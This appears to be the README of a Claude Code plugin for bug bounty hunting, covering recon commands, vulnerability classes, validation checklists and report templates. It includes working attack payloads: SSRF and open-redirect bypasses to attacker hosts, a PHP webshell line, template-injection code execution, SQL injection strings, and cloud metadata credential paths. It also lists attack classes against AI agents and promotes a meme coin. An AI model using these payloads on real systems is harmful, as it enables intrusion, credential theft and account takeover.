by shuvonsec
AI-powered bug bounty hunting from your terminal - recon, 20 vuln classes, autonomous hunting, and report generation. All inside Claude Code.
# Add to your Claude Code skills
git clone https://github.com/shuvonsec/claude-bug-bountyFull pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.
"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"
If the answer is NO -- STOP. Do not write. Do not explore further. Move on.
| Pattern | Kill Reason | |---|---| | "Could theoretically allow..." | Not exploitable = not a bug | | "An attacker with X, Y, Z conditions could..." | Too many preconditions | | "Wrong implementation but no practical impact" | Wrong but harmless = not a bug | | Dead code with a bug in it | Not reachable = not a bug | | Source maps without secrets | No impact | | SSRF with DNS-only callback | Need data exfil or internal access | | Open redirect alone | Need ATO or OAuth chain | | "Could be used in a chain if..." | Build the chain first, THEN report |
You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.
For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see
skills/bb-methodology/SKILL.md.
When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.
| Bug A (Signal) | Hunt for Bug B | Escalate to C | |----------------|---------------|---------------| | IDOR (read) | PUT/DELETE on same endpoint | Full account data manipulation | | SSRF (any) | Cloud metadata 169.254.169.254 | IAM credential exfil -> RCE | | XSS (stored) | Check if HttpOnly is set on session cookie | Session hijack -> ATO | | Open redirect | OAuth redirect_uri accepts your domain | Auth code theft -> ATO | | S3 bucket listing | Enumerate JS bundles | Grep for OAuth client_secret -> OAuth chain | | Rate limit bypass | OTP brute force | Account takeover | | GraphQL introspection | Missing field-level auth | Mass PII exfil | | Debug endpoint | Leaked environment variables | Cloud credential -> infrastructure access | | CORS reflects origin | Test with credentials: include | Credentialed data theft | | Host header injection | Password reset poisoning | ATO via reset link |
1. CONFIRM A Verify bug A is real with an HTTP request
2. MAP SIBLINGS Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN If sibling has different bug class, try combining A + B
5. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
6. REPORT One report per chain (not per bug). Chains pay more.
Coinbase S3->Bundle->Secret->OAuth chain:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
Vienna Chatbot chain:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact
Average hunter: Runs tools, checks checklist, gives up after 30 min. Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"
Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
Think like the developer who built the feature:
Client -> CDN -> Load Balancer -> App Server -> Database
^ ^ ^
Where does app STOP trusting input?
Where does it ASSUME input is already validated?
"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.
"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.
"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.
"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.
"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.
"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.
"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.
| Tool | Use | |------|-----| | subfinder | Passive subdomain enum | | httpx | Probe live hosts | | dnsx | DNS resolution | | nuclei | Template scanner | | katana | Crawl | | waybackurls | Archive URLs | | gau | Known URLs | | dalfox | XSS scanner | | ffuf | Fuzzer | | anew | Dedup append | | qsreplace | Replace param values | | assetfinder | Subdomain enum | | gf | Grep patterns (xss, sqli, ssrf, redirect) | | interactsh-client | OOB callbacks |
| Tool | Use | Install |
|------|-----|---------|
| arjun | Hidden parameter discovery | pip3 install arjun |
| paramspider | URL parameter mining | pip3 install paramspider |
| kiterunner | API endpoint brute | go install github.com/assetnote/kiterunner/cmd/kr@latest |
| cloudenum | Cloud asset enumeration | pip3 install cloud_enum |
| trufflehog | Secret scanning | brew install trufflehog |
| gitleaks | Secret scanning | brew install gitleaks |
| XSStrike | Advanced XSS scanner | pip3 install xsstrike |
| SecretFinder | JS secret extraction | pip3 install secretfinder |
| sqlmap | SQL injection | pip3 install sqlmap |
| subzy | Subdomain takeover | go install github.com/LukaSikic/subzy@latest |
# Install: pip3 install semgrep
# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./
# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./
# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./
# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac
# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac
# Filter strategies:
# -fc 404,403 Filter status codes
# -fs 1234 Filter by response size
# -fw 50 Filter by word count
# -fr "not found" Filter regex in response body
# -rate 5 -t 10 Rate limit + fewer threads for stealth
# -e .php,.bak,.old Add extensions
# -o results.json Save output
# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file
# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3
# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
| jq '.data.team.policy_scopes.edges[].node'
subjack, subzy).git (/.git/config)/.env, /.env.local)?redirect=, ?next=, ?url=)Origin: https://evil.com + credentials)/actuator/env, /actuator/heapdump)https://TARGET.firebaseio.com/.json)| Signal | Technology |
|---|---|
| Cookie: XSRF-TOKEN + *_session | Laravel |
| Cookie: PHPSESSID | PHP |
| Header: X-Powered-By: Express | Node.js/Express |
| Response: wp-json/wp-content | WordPress |
| Response: {"errors":[{"message": | GraphQL |
| Header: X-Powered-By: Next.js | Next.js |
Laravel: /horizon, /telescope, /.env, /storage/logs/laravel.log
WordPress: /wp-json/wp/v2/users, /xmlrpc.php, /?author=1
Node.js: /.env, /graphql (introspection), /_debug
AWS Cognito: /oauth2/userInfo (leaks Pool ID), CORS reflects arbitrary origins
# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"
# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."
# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules
# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"
# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"
# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"
# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"
# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"
# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
| jq '.data.hacktivity_items.nodes[].report'
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
[ ] Unauthenticated: login, register, password reset, public APIs
[ ] Authenticated: all user-facing endpoints, file uploads, API calls
[ ] Cross-tenant: org/team/workspace ID parameters
[ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
1.___ 2.___ 3.___
timingSafeEqual in one place, === elsewhere/api/v1/ guarded but /api/ isn't# TARGET: company.com -- SESSION 1
## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers
## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint
## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write
X-Forwarded-For: 127.0.0.1)redirect_uriPanic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.
"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.
Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.
# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"
#1 most paid web2 class -- 30% of all submissions that get paid.
| Variant | What to Test |
|---------|-------------|
| V1: Direct | Change object ID in URL path /api/users/123 -> /api/users/456 |
| V2: Body param | Change ID in POST/PUT JSON body {"user_id": 456} |
| V3: GraphQL node | { node(id: "base64(OtherType:123)") { ... } } |
| V4: Batch/bulk | /api/users?ids=1,2,3,4,5 -- request multiple IDs at once |
| V5: Nested | Change parent ID: /orgs/{org_id}/users/{user_id} |
| V6: File path | /files/download?path=../other-user/file.pdf |
| V7: Predictable | Sequential integers, timestamps, short UUIDs |
| V8: Method swap | GET returns 403? Try PUT/PATCH/DELETE on same endpoint |
| V9: Version rollback | v2 blocked? Try /api/v1/ same endpoint |
| V10: Header injection | X-User-ID: victim_id, X-Org-ID: victim_org |
?user_id=other_userhttp://169.254.169.254/latest/meta-data/http://127.0.0.1:6379/ (Redis), :9200 (Elasticsearch), :27017 (MongoDB)file://, dict://, gopher://| Bypass | Payload | Notes |
|--------|---------|-------|
| Decimal IP | http://2130706433/ | 127.0.0.1 as single decimal |
| Hex IP | http://0x7f000001/ | Hex representation |
| Octal IP | http://0177.0.0.1/ | Octal 0177 = 127 |
| Short IP | http://127.1/ | Abbreviated notation |
| IPv6 | http://[::1]/ | Loopback in IPv6 |
| IPv6-mapped | http://[::ffff:127.0.0.1]/ | IPv4-mapped IPv6 |
| Redirect chain | http://attacker.com/302->http://169.254.169.254 | Check each hop |
| DNS rebinding | Register domain resolving to 127.0.0.1 | First check = external, fetch = internal |
| URL encoding | http://127.0.0.1%2523@attacker.com | Parser confusion |
| Enclosed alphanumeric | http://①②⑦.⓪.⓪.① | Unicode numerals |
| Protocol smuggling | gopher://127.0.0.1:6379/_INFO | Redis/other protocols |
state parameter -> CSRFredirect_uri accepts wildcards -> ATOUse these when chaining open redirect into OAuth code theft:
| Bypass | Payload | Notes |
|--------|---------|-------|
| Double URL encoding | %252F%252F | Decodes to // after double decode |
| Backslash | https://target.com\@evil.com | Some parsers normalize \ to / |
| Missing protocol | //evil.com | Protocol-relative |
| @-trick | https://target.com@evil.com | target.com becomes username |
| Protocol-relative | ///evil.com | Triple slash |
| Tab/newline injection | //evil%09.com | Whitespace in hostname |
| Fragment trick | https://evil.com#target.com | Fragment misleads validation |
| Null byte | https://evil.com%00target.com | Some parsers truncate at null |
| Parameter pollution | ?next=target.com&next=evil.com | Last value wins |
| Path confusion | /redirect/..%2F..%2Fevil.com | Path traversal in redirect |
| Unicode normalization | https://evil.com/target.com | Visual confusion |
| Bypass | Technique |
|--------|-----------|
| Double extension | file.php.jpg, file.php%00.jpg |
| Case variation | file.pHp, file.PHP5 |
| Alternative extensions | .phtml, .phar, .shtml, .inc |
| Content-Type spoof | image/jpeg header with PHP content |
| Magic bytes | GIF89a; <?php system($_GET['c']); ?> |
| .htaccess upload | AddType application/x-httpd-php .jpg |
| SVG XSS | <svg onload=alert(1)> |
| Race condition | Upload + execute before cleanup runs |
| Polyglot JPEG/PHP | Valid JPEG that is also valid PHP |
| Zip slip | ../../etc/cron.d/shell in filename inside archive |
| Type | Hex |
|------|-----|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
| PDF | 25 50 44 46 |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # all 20 fire in a single TCP packet
def handleResponse(req, interesting):
table.add(req)
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
setInterval(userInput, ...)
new Function(userInput)
// MEDIUM RISK (context-dependent)
element.src = userInput // JavaScript URI possible
element.href = userInput
location.href = userInput
# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
# Error-based detection
'; SELECT 1/0-- # divide by zero error reveals SQLi
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1
{ __schema { types { name fields { name type { name } } } } }
# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
[
{"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
{"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
"...100 more..."
]
When target has AI agents with tool access, these are the 10 attack classes:
| ID | Vuln Class | What to Test | |----|-----------|-------------| | ASI01 | Prompt injection | Override system prompt via user input -- make agent ignore its rules | | ASI02 | Tool misuse | Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool) | | ASI03 | Data exfil | Extract training data / PII via crafted prompts that leak context | | ASI04 | Privilege escalation | Use AI to access admin-only tools -- agent has broader perms than user | | ASI05 | Indirect injection | Poison document/URL the AI processes -- hidden instructions in fetched content | | ASI06 | Excessive agency | AI takes destructive actions without confirmation -- delete, send, pay | | ASI07 | Model DoS | Craft inputs that cause infinite loops, excessive token usage, or OOM | | ASI08 | Insecure output | AI generates XSS/SQLi/command injection in its output that gets rendered | | ASI09 | Supply chain | Compromised plugins/tools/MCP servers the AI calls | | ASI10 | Sensitive disclosure | AI reveals internal configs, API keys, system prompts, user data |
Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.
X-Forwarded-Host, X-Original-URL, X-Rewrite-URL -- unkeyed headers reflected in response?param=value;poison=xss)/account/settings.css -- trick cache into storing private response)Transfer-Encoding: xchunked, tab prefix, space prefixPOST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.
pull_request_target with checkout of PR code{{7*7}} -> 49 = Jinja2 / Twig / generic
${7*7} -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako / some Ruby
*{7*7} -> 49 = Spring (Thymeleaf)
{{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{["id"]|filter("system")}}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<%= `id` %>
# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
"There isn't a GitHub Pages site here" -> GitHub Pages
"NoSuchBucket" -> AWS S3
"No such app" -> Heroku
"404 Web Site not found" -> Azure App Service
"Fastly error: unknown domain" -> Fastly CDN
"project not found" -> GitLab Pages
"It looks like you may have typed..." -> Shopify
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
After clicking reset link, if page loads external resources -> token in Referer header to external domain.
# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?
PUT /api/user/email
{"new_email": "attacker@evil.com"}
# If no current_password required -> attacker changes email -> locks out victim
Can you link an OAuth account from a different email to an existing account?
GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.
# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical
# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (needs header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01
curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical
/jenkins /grafana /kibana /elasticsearch
/swagger-ui.html /api-docs /phpMyAdmin /adminer.php
/.env /config.json /server-status /actuator/env
# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/json
All 7 must be YES. Any NO -> STOP.
Write the exact HTTP request. If you cannot produce a working request -> KILL IT.
No "the user would need to..." with 5 preconditions. Victim did nothing special.
"Technically possible" is not impact. "I read victim's SSN" is impact.
Check the exact domain/endpoint against the program's scope page.
Search the program's disclosed reports and recent changelog entries.
Check the list below. If it's there and you can't chain it -> KILL IT.
Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
| Factor | Low (0-3.9) | Medium (4-6.9) | High (7-8.9) | Critical (9-10) | |--------|-------------|----------------|--------------|-----------------| | Attack Vector | Physical | Local | Adjacent | Network | | Privileges | High | Low | None | None | | User Interaction | Required | Required | None | None | | Impact | Partial | Partial | High | High (all 3) |
| Bug | Typical CVSS | Severity | |----|------|---------| | IDOR (read PII) | 6.5 | Medium | | IDOR (write/delete) | 7.5 | High | | Auth bypass -> admin | 9.8 | Critical | | Stored XSS | 5.4-8.8 | Med-High | | SQLi (data exfil) | 8.6 | High | | SSRF (cloud metadata) | 9.1 | Critical | | Race condition (double spend) | 7.5 | High | | GraphQL auth bypass | 8.7 | High | | JWT none algorithm | 9.1 | Critical |
Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.
N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.
These low findings become valid bugs when chained:
| Low Finding | + Chain | = Valid Bug | |------------|---------|-------------| | Open redirect | + OAuth code theft | ATO | | Clickjacking | + sensitive action + PoC | Account action | | CORS wildcard | + credentialed exfil | Data theft | | CSRF | + sensitive state change | Account takeover | | No rate limit | + OTP brute force | ATO | | SSRF (DNS only) | + internal access proof | Internal network access | | Host header injection | + password reset poisoning | ATO | | Self-XSS | + login CSRF | Stored XSS on victim |
Title: [Vuln Class] in [endpoint/feature] leads to [Impact]
## Summary
[2-3 sentences: what it is, where it is, what attacker can do]
## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]
## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]
## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
Title: [Vuln] at [endpoint] -- [Impact in one line]
Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]
Description:
[Root cause + exact location]
Reproduction:
1. [step]
2. [step]
3. [step]
Impact:
[Concrete business impact]
Fix Suggestion:
[Specific remediation]
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
Good titles:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times
Bad titles:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
When payout is being downgraded, use these counters:
| Program Says | You Counter With | |---|---| | "Requires authentication" | "Attacker needs only a free account (no special role)" | | "Limited impact" | "Affects [N] users / [PII type] / [$ amount]" | | "Already known" | "Show me the report number -- I searched and found none" | | "By design" | "Show me the documentation that states this is intended" | | "Low CVSS score" | "CVSS doesn't account for business impact -- attacker can steal [X]" |
To use this as a Claude Code skill, copy this file to your skills directory:
# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
-o ~/.claude/skills/bug-bounty/SKILL.md
Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.
Last scanned: 4/25/2026
{
"issues": [],
"status": "PASSED",
"scannedAt": "2026-04-25T05:51:06.621Z",
"semgrepRan": false,
"npmAuditRan": true,
"pipAuditRan": true
}Your AI hunting partner that remembers past targets, spots vulnerabilities, and writes reports for you. The community made a meme coin to support the project CA: J6VzBAGnyyNEyzyHhauwg3ofRctFxnTLzQCcjUdGpump by shuvonsec
What Is This? | Quick Start | Commands | What's New | Install | FAQ | Terms
14 commands · 8 AI agents · 9 skill domains
20 web2 vuln classes · 10 web3 bug classes
Burp MCP · HackerOne MCP · Autonomous Mode
Bug bounty hunting is when companies pay you real money to find security vulnerabilities in their websites and apps before bad actors do. Platforms like HackerOne and Bugcrowd connect hunters with companies. Payouts range from $100 to $1,000,000+ depending on severity.
This tool is a plugin for Claude Code (Anthropic's AI coding assistant) that turns it into a professional bug bounty hunting partner. Instead of juggling 15 different tools and writing reports from scratch, you just type a command and the AI handles the rest.
In plain terms:
Who is it for?
Most hunters waste hours on things that shouldn't take that long:
| Before | After |
|:---|:---|
| Run 10+ tools manually, hope for the best | AI orchestrates everything in the right order |
| Write reports from scratch (45 min each) | Report-writer agent generates submission-ready reports in 60s |
| Forget what worked last month | Memory system — patterns from target A inform target B |
| Submit bugs without proper validation | 7-Question Gate kills weak findings before you waste time reporting |
| Can't see live browser traffic | Burp MCP — AI reads your proxy history in real time |
| Hunt one endpoint at a time | /autopilot runs the full hunt loop while you watch |
Prerequisite: You need Claude Code installed. It's Anthropic's free AI coding tool that runs in your terminal.
Step 1 — Install tools + skills
git clone https://github.com/shuvonsec/claude-bug-bounty.git
cd claude-bug-bounty
chmod +x install_tools.sh && ./install_tools.sh # installs scanning tools (subfinder, httpx, nuclei...)
chmod +x install.sh && ./install.sh # installs AI skills + commands into Claude Code
Step 2 — Start hunting
claude # open Claude Code in your terminal
